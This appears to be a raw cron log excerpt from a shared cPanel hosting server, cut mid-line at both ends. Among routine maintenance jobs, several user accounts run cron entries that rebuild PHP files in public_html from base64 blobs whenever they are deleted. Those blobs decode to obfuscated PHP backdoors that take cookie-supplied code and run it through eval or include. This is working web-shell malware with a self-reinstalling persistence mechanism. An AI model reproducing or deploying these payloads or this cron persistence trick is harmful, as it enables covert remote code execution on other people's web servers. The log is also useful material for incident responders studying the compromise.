Z25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:39:02 medusa CROND[27042]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:39:02 medusa CROND[27043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:39:02 medusa CROND[27044]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:39:02 medusa CROND[27045]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:39:02 medusa CROND[27047]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:39:02 medusa CROND[27048]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:39:02 medusa CROND[27050]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:39:02 medusa CROND[27051]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:39:02 medusa CROND[27054]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:39:02 medusa CROND[27063]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:39:02 medusa CROND[27052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:40:01 medusa CROND[19035]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:40:01 medusa CROND[19092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 05:40:01 medusa CROND[19160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:40:01 medusa CROND[19161]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:40:01 medusa CROND[19162]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 05:40:01 medusa CROND[19163]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:40:01 medusa CROND[19164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 05:40:01 medusa CROND[19165]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:40:01 medusa CROND[19176]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:40:01 medusa CROND[19171]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19180]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:40:01 medusa CROND[19183]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:40:01 medusa CROND[19184]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:40:01 medusa CROND[19175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:40:01 medusa CROND[19190]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:40:01 medusa CROND[19191]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:40:01 medusa CROND[19204]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:40:01 medusa CROND[19206]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19196]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19201]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:40:01 medusa CROND[19213]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:40:01 medusa CROND[19203]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:40:01 medusa CROND[19240]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:41:01 medusa CROND[11341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:41:01 medusa CROND[11399]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:41:01 medusa CROND[11400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:41:01 medusa CROND[11401]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:41:01 medusa CROND[11402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:41:01 medusa CROND[11403]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:41:01 medusa CROND[11404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:41:01 medusa CROND[11405]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:41:01 medusa CROND[11411]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:41:01 medusa CROND[11417]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ